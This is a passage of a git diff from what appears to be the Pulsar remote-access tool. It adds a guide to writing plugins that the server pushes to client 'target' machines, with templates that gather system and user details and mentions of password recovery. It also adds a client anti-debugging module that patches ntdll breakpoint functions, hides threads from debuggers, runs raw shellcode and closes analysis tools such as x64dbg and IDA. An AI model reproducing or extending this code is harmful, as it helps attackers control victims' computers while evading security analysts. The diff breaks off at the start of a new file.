part: UI and menu integration +- Client part: Actual work on target machine +- Communication between server and client +- **Example**: passwords recovery, etc + +## Important Terms Explained + +### Plugin State +- **`IsComplete`**: Tells the system if your plugin is done working +- **`_isRunning`**: Your own variable to track if plugin is busy +- **`ShouldUnload`**: Tells system to remove plugin from memory when done + +### Plugin Lifecycle +1. **Initialize()**: Called when plugin loads (setup code here) +2. **ExecuteCommand()**: Called for each command from server +3. **IsComplete**: Checked to see if plugin is done +4. **Cleanup()**: Called when plugin is removed (cleanup code here) + +### PluginResult Properties +- **Success**: Did the command work? (true/false) +- **Message**: Status message for the server +- **Data**: Raw data to send back (use Encoding.UTF8.GetBytes()) +- **ShouldUnload**: Remove plugin when this command finishes? + +### initData Parameter +- **What it is**: Data sent from server to plugin when it loads +- **Common uses**: Configuration, webhook URLs, file paths +- **How to use**: `string config = Encoding.UTF8.GetString(initData);` + +## Creating Your First Plugin + +### Step 1: Create a New Project +1. Open Visual Studio +2. Create new **Class Library (.NET Framework 4.7.2)** project +3. Name it something like `MyFirstPlugin` + +### Step 2: Copy the Template Code +Replace your `Class1.cs` with this template: + +```csharp +using System; +using System.Text; +using Pulsar.Client.Plugins; + +namespace MyFirstPlugin +{ + public class MyFirstPlugin : IUniversalPlugin + { + // Plugin Information + public string PluginId => "myfirstplugin"; + public string Version => "1.0"; + public string[] SupportedCommands => new[] { "hello", "info", "status" }; + + // Plugin State + private bool _isRunning = false; + + // Initialize the plugin + public void Initialize(byte[] initData) + { + // This runs when the plugin is loaded + // initData contains any data sent from the server + } + + // Handle commands from the server + public PluginResult ExecuteCommand(string command, byte[] parameters) + { + try + { + switch (command) + { + case "hello": + return SayHello(); + + case "info": + return GetSystemInfo(); + + case "status": + return GetStatus(); + + default: + return new PluginResult + { + Success = false, + Message = "Unknown command" + }; + } + } + catch (Exception ex) + { + return new PluginResult + { + Success = false, + Message = $"Error: {ex.Message}" + }; + } + } + + // Check if plugin is done + public bool IsComplete => !_isRunning; + + // Cleanup when plugin is unloaded + public void Cleanup() + { + _isRunning = false; + } + + // Your custom methods + private PluginResult SayHello() + { + return new PluginResult + { + Success = true, + Message = "Hello from my first plugin!", + ShouldUnload = true + }; + } + + private PluginResult GetSystemInfo() + { + var info = new StringBuilder(); + info.AppendLine("=== System Information ==="); + info.AppendLine($"Computer: {Environment.MachineName}"); + info.AppendLine($"User: {Environment.UserName}"); + info.AppendLine($"OS: {Environment.OSVersion}"); + info.AppendLine($"Time: {DateTime.Now}"); + + return new PluginResult + { + Success = true, + Message = "System info collected", + Data = Encoding.UTF8.GetBytes(info.ToString()), + ShouldUnload = true + }; + } + + private PluginResult GetStatus() + { + return new PluginResult + { + Success = true, + Message = $"Plugin is running: {_isRunning}", + ShouldUnload = false + }; + } + } +} +``` + +### Step 3: Add Required References +Add these NuGet packages to your project: +- **MessagePack** +- **Pulsar.Common** + +### Step 4: Build Your Plugin +1. Build your project in **Release** mode +2. Copy the `.dll` file to the server's plugin directory +3. Test it through the Pulsar server interface + +## 🎨 Code Templates + +### Template 0: Auto-Loaded Message Box (Client Only) +```csharp +using System; +using System.Runtime.InteropServices; +using System.Text; +using Pulsar.Common.Plugins; + +namespace ActionPlugins +{ + public sealed class ActionPlugin : IUniversalPlugin + { + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type); + + public string PluginId => "actionplugin"; + public string Version => "1.0.0"; + public string[] SupportedCommands => Array.Empty(); + + public void Initialize(byte[] initData) + { + var message = initData is { Length: > 0 } + ? Encoding.UTF8.GetString(initData) + : "Action executed!"; + + MessageBox(IntPtr.Zero, message, "Action Plugin", 0); + } + + public PluginResult ExecuteCommand(string command, byte[] parameters) + { + return new PluginResult + { + Success = false, + Message = "No commands supported", + ShouldUnload = true + }; + } + + public bool IsComplete => true; + public void Cleanup() { } + } +} +``` +Compile the project as `ActionPlugin.Client.dll` (or any name ending in `.Client.dll`) and drop it into `Pulsar.Server/Plugins`. If you want to change the message at runtime, create a text file named `ActionPlugin.Client.init` next to the DLL containing the message body (UTF-8 encoded). + +### Template 1: Information Collector +```csharp +public class InfoCollector : IUniversalPlugin +{ + public string PluginId => "infocollector"; + public string Version => "1.0"; + public string[] SupportedCommands => new[] { "collect" }; + + public void Initialize(byte[] initData) { } + + public PluginResult ExecuteCommand(string command, byte[] parameters) + { + if (command == "collect") + { + var info = CollectInformation(); + return new PluginResult + { + Success = true, + Message = "Information collected", + Data = Encoding.UTF8.GetBytes(info), + ShouldUnload = true + }; + } + return new PluginResult { Success = false, Message = "Unknown command" }; + } + + public bool IsComplete => true; + public void Cleanup() { } + + private string CollectInformation() + { + // Your information collection code here + return "Collected information..."; + } +} +``` + +### Template 2: Action Plugin +```csharp +public class ActionPlugin : IUniversalPlugin +{ + public string PluginId => "actionplugin"; + public string Version => "1.0"; + public string[] SupportedCommands => new[] { "execute" }; + + private bool _isExecuting = false; + + public void Initialize(byte[] initData) { } + + public PluginResult ExecuteCommand(string command, byte[] parameters) + { + if (command == "execute") + { + _isExecuting = true; + var result = PerformAction(); + _isExecuting = false; + + return new PluginResult + { + Success = true, + Message = result, + ShouldUnload = true + }; + } + return new PluginResult { Success = false, Message = "Unknown command" }; + } + + public bool IsComplete => !_isExecuting; + public void Cleanup() { _isExecuting = false; } + + private string PerformAction() + { + // Your action code here + return "Action completed successfully!"; + } +} + +``` + +### Template 3: Context Menu Client + Server Pair +This example ships a client plugin and hooks a context menu item on the server. When the menu item is clicked, each selected client displays a message box. + +**Server plugin (compile as `ContextMenuMessage.Server.dll`):** + +```csharp +using System; +using System.Collections.Generic; +using System.IO; +using System.Reflection; +using System.Windows.Forms; +using Pulsar.Server.Networking; +using Pulsar.Server.Plugins; + +namespace ExamplePlugins.ContextMenu +{ + public sealed class ContextMenuServerPlugin : IServerPlugin + { + private string _pluginDirectory = string.Empty; + + public string Name => "Context Menu Message"; + public Version PluginVersion => new Version(1, 0, 0, 0); + public string Author => "Example"; + public string Description => "Adds a context menu entry that shows a client-side message box."; + public bool AutoLoadToClients => false; + + public void Initialize(IServerContext context) + { + _pluginDirectory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? AppDomain.CurrentDomain.BaseDirectory; + + context.AddClientContextMenuItem(new[] { "Examples" }, "Show Message", OnShowMessageClicked); + } + + public void Dispose() { } + + private void OnShowMessageClicked(IReadOnlyList clients) + { + try + { + var clientAssemblyPath = Path.Combine(_pluginDirectory, "ContextMenuMessage.Client.dll"); + if (!File.Exists(clientAssemblyPath)) + { + MessageBox.Show("ContextMenuMessage.Client.dll not found next to the server plugin.", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + var assemblyBytes = File.ReadAllBytes(clientAssemblyPath); + foreach (var client in clients) + { + var pluginId = $"context.menu.message.{client.Id:N}"; + PushSender.LoadUniversalPlugin(client, pluginId, assemblyBytes, Array.Empty(), "ExamplePlugins.ContextMenu.ContextMenuClientPlugin", "Initialize"); + } + } + catch (Exception ex) + { + MessageBox.Show($"Context menu plugin failed: {ex.Message}", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } +} +``` + +**Client plugin (compile as `ContextMenuMessage.Client.dll`):** + +```csharp +using System; +using System.Runtime.InteropServices; +using Pulsar.Common.Plugins; + +namespace ExamplePlugins.ContextMenu +{ + public sealed class ContextMenuClientPlugin : IUniversalPlugin + { + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type); + + public string PluginId => "contextmenumessage"; + public string Version => "1.0.0"; + public string[] SupportedCommands => Array.Empty(); + + public void Initialize(byte[] initData) + { + MessageBox(IntPtr.Zero, "Hello from the context menu action!", "Context Menu Plugin", 0); + } + + public PluginResult ExecuteCommand(string command, byte[] parameters) + { + return new PluginResult + { + Success = false, + Message = "No commands supported", + ShouldUnload = true + }; + } + + public bool IsComplete => true; + public void Cleanup() { } + } +} +``` + +Place both DLLs in `Pulsar.Server/Plugins`. The client DLL must keep the `.Client.dll` suffix so Pulsar auto-dispatches it. + +### Template 4: Server-Only Message Box Plugin +```csharp +using System; +using System.Windows.Forms; +using Pulsar.Server.Plugins; + +namespace ExamplePlugins.ServerOnly +{ + public sealed class ServerHelloPlugin : IServerPlugin + { + public string Name => "Server Hello"; + public Version PluginVersion => new Version(1, 0, 0, 0); + public string Author => "Example"; + public string Description => "Shows a message box when the plugin loads."; + public bool AutoLoadToClients => false; + + public void Initialize(IServerContext context) + { + MessageBox.Show("Hello from the server plugin!", "Server Hello", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + + public void Dispose() { } + } +} + + +## πŸ”§ Advanced Features + +### Working with Files +```csharp +private string ReadFile(string filePath) +{ + try + { + return File.ReadAllText(filePath); + } + catch (Exception ex) + { + return $"Error reading file: {ex.Message}"; + } +} + +private bool WriteFile(string filePath, string content) +{ + try + { + File.WriteAllText(filePath, content); + return true; + } + catch + { + return false; + } +} +``` + +### Working with Registry + +```csharp +private string GetRegistryValue(string keyPath, string valueName) +{ + try + { + using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(keyPath)) + { + return key?.GetValue(valueName)?.ToString() ?? "Not found"; + } + } + catch + { + return "Error accessing registry"; + } +} +``` + +### Working with Processes +```csharp +private string GetRunningProcesses() +{ + var processes = Process.GetProcesses(); + var result = new StringBuilder(); + + foreach (var process in processes.Take(10)) // Limit to first 10 + { + result.AppendLine($"{process.ProcessName} (PID: {process.Id})"); + } + + return result.ToString(); +} +``` + +## Stuff good to know about + +### 1. **Error Handling** +Always wrap your code in try-catch blocks: +```csharp +try +{ + // Your code here + return new PluginResult { Success = true, Message = "Success" }; +} +catch (Exception ex) +{ + return new PluginResult { Success = false, Message = ex.Message }; +} +``` + +### 2. **Resource Management** +Clean up resources in the `Cleanup()` method: +```csharp +private HttpClient _httpClient; + +public void Cleanup() +{ + _httpClient?.Dispose(); +} +``` + +### 3. **Memory Management** +Use `using` statements for disposable objects: +```csharp +using (var stream = new FileStream(path, FileMode.Open)) +{ + // Use stream here +} +``` + +### 4. **Plugin State** +Use the `IsComplete` property to indicate when your plugin is done: +```csharp +private bool _isProcessing = false; + +public bool IsComplete => !_isProcessing; +``` + +## Troubleshooting + +### Common Issues + +**1. "Plugin not found" error** +- Make sure your plugin implements `IUniversalPlugin` +- Check that `PluginId` is unique +- Verify the plugin is built in Release mode + +**2. "Command not supported" error** +- Add your command to the `SupportedCommands` array +- Make sure the command name matches exactly (case-sensitive) + +**3. "Plugin crashes" error** +- Add try-catch blocks around your code +- Check for null references +- Use the `Cleanup()` method to reset state + +**4. "Data not received" error** +- Make sure to set `Data` property in `PluginResult` +- Use `Encoding.UTF8.GetBytes()` for string data +- Check that `ShouldUnload` is set correctly + +### Debug Tips + +1. **Use the Message property** to return status information +2. **Set ShouldUnload = true** when your plugin is done +3. **Use the Data property** to return large amounts of data +4. **Test your plugin** with simple commands first + +## Need Help? + +1. **Start simple** with basic information collection +2. **Test frequently** during development +3. **ask** Do not ask me for help in t.me/PulsarPlugins , this project was a HEADACHE + +## You're Ready! + +You now have everything you need to create powerful Pulsar plugins. +Start with the simple templates and gradually work your way up to more complex plugins. +Remember: **start simple, test often, and have fun!** + +--- + +*Happy Plugin Development! (more like goodluck) * \ No newline at end of file diff --git a/Pulsar.Client/.DS_Store b/Pulsar.Client/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..4d9a912242ad2e8d95ef8de4eaa2b79b7f33d568 GIT binary patch literal 10244 zcmeI1F;5gh6vy8lhn|QD#%O1iDiwET4KYG{N;`Awt!$@TQic=3f#5)JAUF^l2oC%!4&ZM#m)dz7!#+3=90(4K z9N_sO#>O#macHBNI&He;QDS4*2M2-!We0feUZr{3r9Ijf>-Wm+&3xTXR{p-A}Z;!3-zQ}zWsF+U#XK0Z!WZt4}>WJKQWf#{L^-BJN#>*fyg2PTS zQ?x|;=>K!D^ufYReaZ896+B*@!lh`vd|s{OG=A0S0S&;m4%Pu&+meijhhQve6h4p6 z%U04!t|O$xeR>4%QtD#g6HL`x2gQ1YM_gkk^Rfty;FxSMM}?N@S-am#n^~5QP6!}c zxqmEFK+HuH08=LtQ-kwdK;kYvME5g#f~`fH{5bJIlG*R}#;X;kG1pf}$F%V9pEcAS z>VSE-_$V$mz+6x$oF$d_HWpMKo*F%cmwo(ff(b{$#ff*{KvdEwOdg$=s-zQK)sIMt z319^@d-Mi(wnwk5TgL;AUrf9L0Z;uOnoj9}_nOLW_i9B)Xo&PQfetk3r67xbuKcM{ zSX?_LyQ>xXDm-yw_^e`n7`Oo@Zzn}8DJYcuC6)J97F2@AzFtm&rw0$rjAb6x;vl0t zpFri+DQt??OX$@~PB-JPVZgOO`WmrE2l9@6cn`)J6*LN;N9ScL=>%7Fgp@8PPZxc- zSLCAAUp~!PuH3bh(Pg=EI>BWp;%VcB^{NlY>|Ne3_(qpz!KZ2!&M|tgkE&jB$3US; z{7vVHWk6kVhv|AEYZbO!d&Rw+LgqKm=SAAU#J}xE8Be<@)j`xW&+I&WT$Wsyzkurm ztrXr9we-4rf|jy>F+lN#yMd8fd^@3g?R=fWI%=ypJF1s?8=UtX^74y7ij8A&mZ@C5 z=2s~!p6e-89;M)`BuE@ea3DBvY8{xcJ&*bO|C0Xy|5NKv=y-78G&m4d>+AIe^puyd zzQW(yV{8p(KNx1C49ch5x?*^!W(>ybGJEi!Exf^&_;JI+ M&wZi(@7Mpo0qBrNRR910 literal 0 HcmV?d00001 diff --git a/Pulsar.Client/Anti/.DS_Store b/Pulsar.Client/Anti/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..a3b7ecc68767f87e8fd3495ad4de4904e8138406 GIT binary patch literal 6148 zcmeHKK~4fe5UfFBP%j)k?icvMLRO;(Ped=q1ObB@V2P3Yp8bw5@Pgm)DOOL9;=pX; z$r#d|OxNyo_e@a<(>nlMZ#nJ&Z2&C}!R8@d!Xz$Z%Nk)uik)BM4nr(4nNB+Wt!$ex z1x$herhpy*UCi--0zdx0qjI)Tvez%f7B+HbWl;>L<aXX;d99<#Z;O=s0` zN~~AIERh-W8wkG!u5b}Ex> + /// Attempts to close an invalid handle to detect debugger presence. + /// specifies if we should use syscall to call the WinAPI functions. + /// + /// Returns true if an exception is caught, indicating no debugger, otherwise false. + public static bool NtCloseAntiDebug_InvalidHandle() + { + try + { + int RandomInt = new Random().Next(int.MinValue, int.MaxValue); + IntPtr RandomIntPtr = new IntPtr(RandomInt); + NtClose(RandomIntPtr); + return false; + } + catch + { + return true; + } + } + + /// + /// Attempts to close a protected handle to detect debugger presence. + /// specifies if we should use syscall to call the WinAPI functions. + /// + /// Returns true if an exception is caught, indicating no debugger, otherwise false. + public static bool NtCloseAntiDebug_ProtectedHandle() + { + string RandomMutexName = new Random().Next(int.MinValue, int.MaxValue).ToString(); + IntPtr hMutex = CreateMutexA(IntPtr.Zero, false, RandomMutexName); + uint HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x00000002; + SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, HANDLE_FLAG_PROTECT_FROM_CLOSE); + bool Result = false; + try + { + NtClose(hMutex); + Result = false; + } + catch + { + Result = true; + } + SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, 0); + NtClose(hMutex); + return Result; + } + + /// + /// Checks if a debugger is attached to the process. + /// + /// Returns true if a debugger is attached, otherwise false. + public static bool DebuggerIsAttached() + { + return System.Diagnostics.Debugger.IsAttached; + } + + /// + /// Checks if a debugger is present using the IsDebuggerPresent API. + /// + /// Returns true if a debugger is present, otherwise false. + public static bool IsDebuggerPresentCheck() + { + if (IsDebuggerPresent()) + return true; + return false; + } + + /// + /// Checks for the BeingDebugged flag directly. + /// + /// Returns true if a debugger is present, otherwise false. + public static bool BeingDebuggedCheck() + { + byte[] Code = new byte[30]; + if (IntPtr.Size == 8) + Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 }; + else + Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 }; + IntPtr BeingDebugged = Utils.AllocateCode(Code); + if (BeingDebugged != IntPtr.Zero) + { + try + { + Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(BeingDebugged, typeof(Delegates.GenericInt)); + int Result = Executed(); + Utils.FreeCode(BeingDebugged); + if (Result == 1) + return true; + } + catch + { + Utils.FreeCode(BeingDebugged); + } + } + return false; + } + + /// + /// Checks for the NtGlobalFlag directly. + /// + /// Returns true if a debugger is present, otherwise false. + public static bool NtGlobalFlagCheck() + { + byte[] Code = new byte[30]; + if (IntPtr.Size == 8) + Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xBC, 0x00, 0x00, 0x00, 0x48, 0x83, 0xE0, 0x70, 0x48, 0x83, 0xF8, 0x70, 0x74, 0x04, 0x48, 0x31, 0xC0, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 }; + else + Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x68, 0x83, 0xE0, 0x70, 0x83, 0xF8, 0x70, 0x74, 0x03, 0x31, 0xC0, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 }; + IntPtr NtGlobalFlag = Utils.AllocateCode(Code); + if (NtGlobalFlag != IntPtr.Zero) + { + try + { + Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(NtGlobalFlag, typeof(Delegates.GenericInt)); + int Result = Executed(); + Utils.FreeCode(NtGlobalFlag); + if (Result == 1) + return true; + } + catch + { + Utils.FreeCode(NtGlobalFlag); + } + } + return false; + } + + /// + /// Checks if the process has debug flags set using NtQueryInformationProcess + /// specifies if we should use syscall to call the WinAPI functions. + /// + /// Returns true if debug flags are set, otherwise false. + public static bool NtQueryInformationProcessCheck_ProcessDebugFlags() + { + uint ProcessDebugFlags = 0; + NtQueryInformationProcess(new IntPtr(-1), 0x1F, out ProcessDebugFlags, sizeof(uint), 0); + if (ProcessDebugFlags == 0) + return true; + return false; + } + + /// + /// Checks if the process has a debug port using NtQueryInformationProcess. + /// specifies if we should use syscalls to call the WinAPI functions.. + /// + /// Returns true if a debug port is detected, otherwise false. + public static bool NtQueryInformationProcessCheck_ProcessDebugPort() + { + uint DebuggerPresent = 0; + uint Size = sizeof(uint); + if (Environment.Is64BitProcess) + Size = sizeof(uint) * 2; + NtQueryInformationProcess(new IntPtr(-1), 7, out DebuggerPresent, Size, 0); + if (DebuggerPresent != 0) + return true; + return false; + } + + /// + /// Checks if the process has a debug object handle using NtQueryInformationProcess. + /// specifies if we should use syscall to call the WinAPI functions. + /// + /// Returns true if a debug object handle is detected, otherwise false. + public static bool NtQueryInformationProcessCheck_ProcessDebugObjectHandle() + { + IntPtr hDebugObject = IntPtr.Zero; + uint Size = sizeof(uint); + if (Environment.Is64BitProcess) + Size = sizeof(uint) * 2; + + NtQueryInformationProcess(new IntPtr(-1), 0x1E, out hDebugObject, Size, 0); + if (hDebugObject != IntPtr.Zero) + return true; + return false; + } + + /// + /// Patches the DbgUiRemoteBreakin and DbgBreakPoint functions to prevent debugger attachment. + /// + /// Returns "Success" if the patching was successful, otherwise "Failed". + public static string AntiDebugAttach() + { + IntPtr NtdllModule = Utils.LowLevelGetModuleHandle("ntdll.dll"); + IntPtr DbgUiRemoteBreakinAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgUiRemoteBreakin"); + IntPtr DbgBreakPointAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgBreakPoint"); + byte[] Int3InvaildCode = { 0xCC }; + byte[] RetCode = { 0xC3 }; + bool Status = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 1, out IntPtr test); + bool Status2 = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgBreakPointAddress, RetCode, 1, out IntPtr test2); + if (Status && Status2) + return "Success"; + return "Failed"; + } + + /// + /// Checks for the presence of known debugger windows. + /// + /// Returns true if a known debugger window is detected, otherwise false. + public static bool FindWindowAntiDebug() + { + string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "cheat engine", "cheatengine", "ida" }; + Process[] GetProcesses = Process.GetProcesses(); + foreach (Process GetWindow in GetProcesses) + { + try + { + if (GetWindow.MainWindowHandle != IntPtr.Zero) + { + string title = GetWindow.MainWindowTitle; + if (string.IsNullOrEmpty(title)) continue; + + foreach (string BadWindows in BadWindowNames) + { + if (Utils.Contains(title, BadWindows)) + { + GetWindow.Close(); + return true; + } + } + } + } + catch + { + continue; + } + } + return false; + } + + /// + /// Checks if the foreground window belongs to a known debugger. + /// + /// Returns true if a known debugger window is detected, otherwise false. + public static bool NtUserGetForegroundWindowAntiDebug() + { + string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "debug", "debugger", "cheat engine", "cheatengine", "ida" }; + IntPtr HWND = NtUserGetForegroundWindow(); + if (HWND != IntPtr.Zero) + { + int WindowLength = GetWindowTextLengthA(HWND); + if (WindowLength != 0) + { + StringBuilder WindowName = new StringBuilder(WindowLength + 1); + GetWindowTextA(HWND, WindowName, WindowLength + 1); + foreach (string BadWindows in BadWindowNames) + { + if (Utils.Contains(WindowName.ToString().ToLower(), BadWindows)) + { + return true; + } + } + } + } + return false; + } + + /// + /// Hides threads from the debugger by setting the NtSetInformationThread. + /// + /// Returns "Success" if the threads were hidden successfully, otherwise "Failed". + public static string HideThreadsAntiDebug() + { + try + { + bool AnyThreadFailed = false; + int PID = Process.GetCurrentProcess().Id; + ProcessThreadCollection GetCurrentProcessThreads = Process.GetCurrentProcess().Threads; + foreach (ProcessThread Threads in GetCurrentProcessThreads) + { + CLIENT_ID CI = new CLIENT_ID + { + UniqueProcess = (IntPtr)PID, + UniqueThread = (IntPtr)Threads.Id + }; + + OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES + { + Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)), + RootDirectory = IntPtr.Zero, + ObjectName = IntPtr.Zero, + Attributes = 0, + SecurityDescriptor = IntPtr.Zero, + SecurityQualityOfService = IntPtr.Zero + }; + + IntPtr hThread = IntPtr.Zero; + uint Status = NtOpenThread(out hThread, 0x0020, ref Attributes, ref CI); + if (Status == 0 || hThread != IntPtr.Zero) + { + uint Status2 = NtSetInformationThread(hThread, 0x11, IntPtr.Zero, 0); + NtClose(hThread); + if (Status2 != 0x00000000) + AnyThreadFailed = true; + } + } + if (!AnyThreadFailed) + return "Success"; + return "Failed"; + } + catch + { + return "Failed"; + } + } + + /// + /// Uses GetTickCount to detect debugger presence. + /// + /// Returns true if debugger presence is detected, otherwise false. + public static bool GetTickCountAntiDebug() + { + uint Start = GetTickCount(); + Thread.Sleep(0x10); + return (GetTickCount() - Start) > 0x10; + } + + /// + /// Triggers a debug break to detect debugger presence. + /// + /// Returns true if an exception is caught, indicating no debugger, otherwise false. + public static bool DebugBreakAntiDebug() + { + try + { + Utils.CallInternalCLRFunction("BreakInternal", typeof(Debug), BindingFlags.NonPublic | BindingFlags.Static, null, null); + return false; + } + catch + { + return true; + } + } + + private static long CONTEXT_DEBUG_REGISTERS = 0x00010000L | 0x00000010L; + + /// + /// Detects hardware breakpoints by checking debug registers. + /// + /// Returns true if hardware breakpoints are detected, otherwise false. + public static bool HardwareRegistersBreakpointsDetection() + { + CONTEXT Context = new CONTEXT(); + Context.ContextFlags = CONTEXT_DEBUG_REGISTERS; + int PID = Process.GetCurrentProcess().Id; + foreach (ProcessThread Threads in Process.GetCurrentProcess().Threads) + { + uint THREAD_QUERY_INFORMATION = 0x0040; + CLIENT_ID CI = new CLIENT_ID + { + UniqueProcess = (IntPtr)PID, + UniqueThread = (IntPtr)Threads.Id + }; + + OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES + { + Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)), + RootDirectory = IntPtr.Zero, + ObjectName = IntPtr.Zero, + Attributes = 0, + SecurityDescriptor = IntPtr.Zero, + SecurityQualityOfService = IntPtr.Zero + }; + + IntPtr hThread = IntPtr.Zero; + uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI); + if (Status == 0 || hThread != IntPtr.Zero) + { + if (NtGetContextThread(hThread, ref Context)) + { + if ((Context.Dr1 != 0x00 || Context.Dr2 != 0x00 || Context.Dr3 != 0x00 || Context.Dr6 != 0x00 || Context.Dr7 != 0x00)) + { + NtClose(hThread); + return true; + } + } + NtClose(hThread); + } + } + return false; + } + + /// + /// Cleans the specified path by removing null characters. + /// + /// The path to clean. + /// The cleaned path. + private static string CleanPath(string Path) + { + string CleanedPath = null; + foreach (char Null in Path) + { + if (Null != '\0') + { + CleanedPath += Null; + } + } + return CleanedPath; + } + + /// + /// Uses NtSetDebugFilterState to prevent debugging. + /// + /// Returns true if the filter state was set successfully, otherwise false. + public static bool NtSetDebugFilterStateAntiDebug() + { + if (NtSetDebugFilterState(0, 0, true) != 0) + return false; + return true; + } + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate int ExecutionDelegate(); + + /// + /// Uses page guard to detect debugger presence by executing a function pointer. + /// + /// Returns true if debugger presence is detected, otherwise false. + public static bool PageGuardAntiDebug() + { + SYSTEM_INFO SysInfo = new SYSTEM_INFO(); + GetSystemInfo(out SysInfo); + uint MEM_COMMIT = 0x00001000; + uint MEM_RESERVE = 0x00002000; + uint PAGE_EXECUTE_READWRITE = 0x40; + uint PAGE_GUARD = 0x100; + uint MEM_RELEASE = 0x00008000; + IntPtr AllocatedSpace = VirtualAlloc(IntPtr.Zero, SysInfo.PageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (AllocatedSpace != IntPtr.Zero) + { + memset(AllocatedSpace, 1, 0xC3); + uint OldProtect = 0; + if (Utils.ProtectMemory(AllocatedSpace, (UIntPtr)SysInfo.PageSize, PAGE_EXECUTE_READWRITE | PAGE_GUARD, out OldProtect)) + { + try + { + ExecutionDelegate IsDebugged = Marshal.GetDelegateForFunctionPointer(AllocatedSpace); + int Result = IsDebugged(); + } + catch + { + VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE); + return false; + } + VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE); + return true; + } + } + return false; + } + } +} diff --git a/Pulsar.Client/Anti/Helper/Delegates.cs b/Pulsar.Client/Anti/Helper/Delegates.cs new file mode 100644 index 0000000..89468a9 --- /dev/null +++ b/Pulsar.Client/Anti/Helper/Delegates.cs @@ -0,0 +1,44 @@ +ο»Ώusing System; +using System.Runtime.InteropServices; + +namespace Pulsar.Client.Anti.Helper +{ + public class Delegates + { + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, out uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQueryInformationProcess2(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQueryInformationProcess3(IntPtr hProcess, uint ProcessInfoClass, ref Structs.PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool SysNtClose(IntPtr Handle); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQuerySystemInformation(uint SystemInformationClass, ref Structs.SYSTEM_CODEINTEGRITY_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQuerySystemInformation2(uint SystemInformationClass, ref Structs.SYSTEM_KERNEL_DEBUGGER_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQuerySystemInformation3(uint SystemInformationClass, ref Structs.SYSTEM_SECUREBOOT_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint SysNtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate int SysNtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate IntPtr GenericPtr(); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int GenericInt(); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate IntPtr KeyboardHook(int nCode, IntPtr wParam, IntPtr lParam); + } +} diff --git a/Pulsar.Client/Anti/Helper/Structs.cs b/Pulsar.Client/Anti/Helper/Structs.cs new file mode 100644 index 0000000..6bbd40f --- /dev/null +++ 